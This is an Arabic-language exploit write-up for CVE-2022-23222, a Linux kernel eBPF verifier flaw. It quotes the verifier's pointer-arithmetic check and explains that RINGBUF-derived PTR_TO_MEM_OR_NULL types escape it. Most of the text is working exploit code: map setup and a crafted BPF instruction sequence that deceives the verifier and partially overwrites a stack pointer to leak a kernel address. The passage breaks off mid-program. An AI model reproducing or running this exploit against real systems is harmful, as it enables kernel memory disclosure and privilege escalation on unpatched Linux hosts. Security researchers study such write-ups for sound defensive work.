
CVE-2022-23222، مُدار باستخدام Rust.
إذا كنت تريد فقط بناء وتشغيل هذا الشيء، انقر هنا. ما يلي هو ترجمة تقريبية للشرح الصيني، متاح هنا.
سنستخدم كود نواة التوزيعة الرئيسية للإصدار 5.13.0 كمرجع.
هناك عدم تطابق بين أنواع المؤشرات المتاحة والوظيفة التي تتحقق من حدودها.
تم تقديم هذا التباين لأول مرة في لينكس 5.8 وتم تصحيحه منذ ذلك الحين.
قائمة أنواع المؤشرات المتاحة متاحة هنا.```c
/* types of values stored in eBPF registers /
/ Pointer types represent:
كما ترى، هناك عدد من أنواع المؤشرات `_OR_NULL` التي تُستخدم عندما قد يكون المؤشر... فارغًا. عمومًا، سيسمح لك المدقق فقط بإجراء فحص فارغ في هذه النقطة، أو كوسيطة في بعض الدوال. الدالة التالية، المتاحة [هنا](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720)، مسؤولة عن تتبع والتحقق من حدود المؤشرات.```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
// ... omitted ...
switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}
// ... omitted ...
return 0;
}
لسوء الحظ، هذه القائمة تفتقد بعض الأنواع. وتحديداً،
PTR_TO_BTF_ID، PTR_TO_BTF_ID_OR_NULL، PTR_TO_MEM،
PTR_TO_MEM_OR_NULL، PTR_TO_RDONLY_BUF، PTR_TO_RDONLY_BUF_OR_NULL،
PTR_TO_RDWR_BUF، و PTR_TO_RDWR_BUF_OR_NULL. باستخدام نوع الخريطة RINGBUF، يمكننا إنشاء PTR_TO_MEM_OR_NULL مما سيسمح لنا بإجراء عمليات حسابية عندما لا ينبغي لنا ذلك.
أولاً، نقوم بإنشاء خريطتين. سيتم استخدام خريطة ARRAY لتمرير المعلومات بين مساحة المستخدم وبرنامج BPF. سيتم استخدام خريطة RINGBUF لإعطاء سجل نوع المؤشر القابل للاستغلال.```c
int create_bpf_maps(context_t *ctx)
{
int ret = 0;
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->comm_fd = ret;
if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->ringbuf_fd = ret;
return 0;
}
الآن، نقوم بتحميل وتشغيل برنامج BPF مُصمم خصيصًا، والذي سيقوم أولاً بحفظ عنوان مساحة kernel لعنوان خريطة `ARRAY` على مكدس BPF، ثم يستغل الثغرة في المؤشر من قبل لإبطال آخر بايت من ذلك العنوان. سيعتقد المُحقّق أننا نقرأ من بداية المصفوفة، لكننا في الواقع نقرأ بضع بايتات أقل، مما سيعطينا (نأمل) عنوانًا من kernel.```c
int do_leak(context_t *ctx)
{
int ret = -1;
struct bpf_insn insn[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
// this is where the verifier loses track of r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 9 actually.
// store the array pointer (0xFFFF..........10 + 0xE0)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),
// partial overwrite array pointer on stack
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),